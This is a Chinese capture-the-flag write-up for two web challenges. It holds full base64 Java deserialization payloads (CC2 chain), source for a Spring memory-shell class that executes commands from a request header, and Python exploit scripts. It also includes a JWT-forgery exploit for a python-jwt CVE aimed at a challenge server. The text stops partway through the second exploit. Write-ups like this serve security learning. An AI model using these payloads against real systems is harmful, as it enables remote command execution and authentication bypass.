ezjava 下载附件审计
有两个路由hello和myTest,在myTest出直接post传payload,然后进行无限制的反序列化。查看一下lib发现有commons-collections4.0依赖,这就很容易想到CC2或CC4链,直接用yso生成payload进行反弹shell。这里可能是由于一些特殊字符直接hackbar传没有用,所以用python传,但是没有反弹成功
本地测试一下payload对不对
jdk8u66
1 java -jar ezjava-0.0.1-SNAPSHOT.jar
测试的payload:
1 rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGmsr+ur4AAAA0ADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTg4MjQ4NzA4NzA4NzAwAQAgTHlzb3NlcmlhbC9Qd25lcjE4ODI0ODcwODcwODcwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgAAAHUyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==
本地windows环境下payload测试成功,因为不信邪自己还搭了一个docker环境放到云服务器上,发现反弹shell也是成功了的,说明只有一种可能就是题目不能出网,这样一下子就很难办了
最后经过各种信息搜集,发现可以利用Spring内存马进行回显
http://www.bmth666.cn/bmth_blog/2022/09/27/Spring内存马学习/#Spring内存马
https://www.anquanke.com/post/id/258575#h2-2
https://myzxcg.com/2021/11/Spring-内存马实现/
直接拿从万能的网络中找到的恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package ysoserial.payloads.evil;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;import java.util.Scanner;public class EvilTest extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public EvilTest () throws Exception { Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder" ); Method m = c.getMethod("getRequestAttributes" ); Object o = m.invoke(null ); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes" ); m = c.getMethod("getResponse" ); Method m1 = c.getMethod("getRequest" ); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse" ).getDeclaredMethod("getWriter" ); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest" ).getDeclaredMethod("getHeader" ,String.class); getHeader.setAccessible(true ); getWriter.setAccessible(true ); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd" ); String[] commands = new String[3 ]; String charsetName = System.getProperty("os.name" ).toLowerCase().contains("window" ) ? "GBK" :"UTF-8" ; if (System.getProperty("os.name" ).toUpperCase().contains("WIN" )){ commands[0 ] = "cmd" ; commands[1 ] = "/c" ; }else { commands[0 ] = "/bin/sh" ; commands[1 ] = "-c" ; } commands[2 ] = cmd; writer.getClass().getDeclaredMethod("println" , String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A" ).next()); writer.getClass().getDeclaredMethod("flush" ).invoke(writer); writer.getClass().getDeclaredMethod("close" ).invoke(writer); } }
CC2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package ysoserial.payloads;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.Comparator;import java.util.PriorityQueue;public class CC2 { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get("ysoserial.payloads.evil.EvilTest" ).toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_bytecodes" ,new byte [][]{code}); setFieldValue(obj,"_name" ,"ameuu" ); Transformer transformer = new InvokerTransformer("toString" ,null ,null ); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue priorityQueue = new PriorityQueue(2 ,transformingComparator); priorityQueue.add(obj); priorityQueue.add(obj); setFieldValue(transformer,"iMethodName" ,"newTransformer" ); ByteArrayOutputStream baor = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baor); oos.writeObject(priorityQueue); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray()))); } }
python上传,这里其实也卡了很久,直接上传的时候直接回显500然后再去请求头添加cmd之后并没有执行,感觉是没有成功,直到后来在自己测试的时候直接data和headers一起传发现居然成功了,不是很能理解(还是太菜了
exp:
1 2 3 4 5 url = 'http://39.106.13.71:18962/myTest' data = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADnPK/rq+AAAANAC5CgAvAF8KAGAAYQoAYABiCABjCgBkAGUIAGYHAGcKAAcAaAcAaQoAagBrCABsCABtCABuCABvCABNCgAHAHAIAHEIAE4HAHIKAGoAcwgAUAgAdAoAdQB2CgATAHcIAHgKABMAeQgAeggAewoAEwB8CAB9CAB+CAB/CACACgAJAIEIAIIHAIMKAIQAhQoAhACGCgCHAIgKACQAiQgAigoAJACLCgAkAIwIAI0IAI4HAI8HAJABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5c29zZXJpYWwvcGF5bG9hZHMvZXZpbC9FdmlsVGVzdDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQABYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABbQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAm0xAQAEcmVzcAEAA3JlcQEACWdldFdyaXRlcgEACWdldEhlYWRlcgEABndyaXRlcgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2NoYXJzZXROYW1lAQANU3RhY2tNYXBUYWJsZQcAjwcAZwcAkgcAaQcAcgcAUwcAkwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDABCAEMHAJQMAJUAlgwAlwCYAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyBwCZDACaAJsBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAD2phdmEvbGFuZy9DbGFzcwwAnACdAQAQamF2YS9sYW5nL09iamVjdAcAkgwAngCfAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwEAC2dldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAHWphdmF4LnNlcnZsZXQuU2VydmxldFJlc3BvbnNlDACgAJ0BACVqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL1N0cmluZwwAoQCiAQAHb3MubmFtZQcAowwApAClDACmAKcBAAZ3aW5kb3cMAKgAqQEAA0dCSwEABVVURi04DACqAKcBAANXSU4BAAIvYwEABy9iaW4vc2gBAAItYwwAqwCsAQAHcHJpbnRsbgEAEWphdmEvdXRpbC9TY2FubmVyBwCtDACuAK8MALAAsQcAsgwAswC0DABCALUBAAJcQQwAtgC3DAC4AKcBAAVmbHVzaAEABWNsb3NlAQAgeXNvc2VyaWFsL3BheWxvYWRzL2V2aWwvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAt0b1VwcGVyQ2FzZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhAC4ALwAAAAAAAwABADAAMQACADIAAAA/AAAAAwAAAAGxAAAAAgAzAAAABgABAAAAEQA0AAAAIAADAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABADkAOgACADsAAAAEAAEAPAABADAAPQACADIAAABJAAAABAAAAAGxAAAAAgAzAAAABgABAAAAFgA0AAAAKgAEAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABAD4APwACAAAAAQBAAEEAAwA7AAAABAABADwAAQBCAEMAAgAyAAACwwAJAA0AAAF7KrcAAbgAArYAAxIEtgAFTCsSBgO9AAe2AAhNLAEDvQAJtgAKTrgAArYAAxILtgAFTCsSDAO9AAe2AAhNKxINA70AB7YACDoELC0DvQAJtgAKOgUZBC0DvQAJtgAKOga4AAK2AAMSDrYABRIPA70AB7YAEDoHuAACtgADEhG2AAUSEgS9AAdZAxITU7YAEDoIGQgEtgAUGQcEtgAUGQcZBQO9AAm2AAo6CRkIGQYEvQAJWQMSFVO2AArAABM6Cga9ABM6CxIWuAAXtgAYEhm2ABqZAAgSG6cABRIcOgwSFrgAF7YAHRIetgAamQASGQsDEhVTGQsEEh9TpwAPGQsDEiBTGQsEEiFTGQsFGQpTGQm2ACISIwS9AAdZAxITU7YAEBkJBL0ACVkDuwAkWbgAJRkLtgAmtgAnGQy3ACgSKbYAKrYAK1O2AApXGQm2ACISLAO9AAe2ABAZCQO9AAm2AApXGQm2ACISLQO9AAe2ABAZCQO9AAm2AApXsQAAAAMAMwAAAG4AGwAAABcABAAaABAAGwAbABwAJQAdADEAHgA8AB8ASAAgAFMAIQBfACIAdQAjAJAAJACWACUAnAAmAKkAJwC+ACgAxAApAN0AKgDtACsA8wAsAPwALgECAC8BCAAxAQ4AMgFKADMBYgA0AXoANQA0AAAAhAANAAABewA1ADYAAAAQAWsARABFAAEAGwFgAEYARwACACUBVgBIAEkAAwBIATMASgBHAAQAUwEoAEsASQAFAF8BHABMAEkABgB1AQYATQBHAAcAkADrAE4ARwAIAKkA0gBPAEkACQC+AL0AUABRAAoAxAC3AFIAUwALAN0AngBUAFEADABVAAAAOAAE/wDZAAwHAFYHAFcHAFgHAFkHAFgHAFkHAFkHAFgHAFgHAFkHAFoHAFsAAEEHAFr8ACAHAFoLADsAAAAEAAEAXAABAF0AAAACAF5wdAAFYW1ldXVwdwEAeHEAfgAReA==' r = requests.post(url, data=data) print (r.text)print (requests.post('http://39.106.13.71:18962/myTest' , data=data, headers={'cmd' : 'cat /flag' }).text)
flag:
1 flag{18e4ba5e-7907-44f2-baba-2ac04b6787b4}
FunWEB
直接打开是登录注册界面,猜测可能有SQL注入,就是不知道环境是什么,先注册一个账号进去,发现有三个路由getFlag、graphql、logout
但是前面两个都需要admin登录,查看cookie发现有session和token,session是flask session,强行解密发现只是用来记录是否登录的。而token是jwt,会记录是不是admin,那么如果想成为admin那就是要找到秘钥了,但是完全没有思路该怎么去找到秘钥,打算从JWT攻击入手
把token放到jwt.io上看,发现是PS256加密,是非对称加密……
之后就卡了很久很久,甚至还成改成对称加密去爆破秘钥……
python环境下的jwt,google到了https://github.com/davedoesdev/python-jwt ,可以发现近期刚出一个CVE,还是关于token认证的,那这次的考点应该就是这里了
直接查看详情,可以发现漏洞点是JWT解析器和jwtcrypto依赖不一致造成的,但还是有点不知道该怎么入手,
查看commit,在最后有一个vulnerability_vows.py
,仔细审计一下可以发现这个就是用来测试漏洞是否修复成功的,那从另一方面来说我们就可以利用这和脚本伪造token
直接将整个最新版的python-jwt从github上面拿下来,利用里面的test包构造exp,然后在环境里面安装python-jwt3.3.3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from datetime import timedeltafrom json import loads, dumpsfrom fixtures import generated_keysimport python_jwt as jwtfrom jwcrypto.common import base64url_decode, base64url_encodeimport requestsdef fakePayload (topic ): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.' ) parsed_payload = loads(base64url_decode(payload)) parsed_payload['is_admin' ] = 1 parsed_payload['exp' ] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',' , ':' )))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/' a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg' token = fakePayload(a) r = requests.get(url + 'getflag' , cookies={'token' : token, 'session' : 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k' }) print (r.text)
回显only currect password can readflag
,说明我们得拿到flag,而还有一个查看成绩的graphql路由可以进行grqphql注入
https://www.secpulse.com/archives/148242.html
https://graphql.cn/learn/queries/#variables
graphql注入查询到:
1 2 {'__type': {'name': 'Getscorebyid', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'id'}]}} {'__type': {'name': 'Getscorebyname', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'userid'}]}}
最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requestsfrom datetime import timedeltafrom json import loads, dumpsfrom fixtures import generated_keysimport python_jwt as jwtfrom jwcrypto.common import base64url_decode, base64url_encodedef fakePayload (topic ): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.' ) parsed_payload = loads(base64url_decode(payload)) parsed_payload['is_admin' ] = 1 parsed_payload['username' ] = "admin" parsed_payload['password' ] = "i2Ip4m1Jx3iWMbtVRywc" parsed_payload['exp' ] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',' , ':' )))) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}' url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/' a = 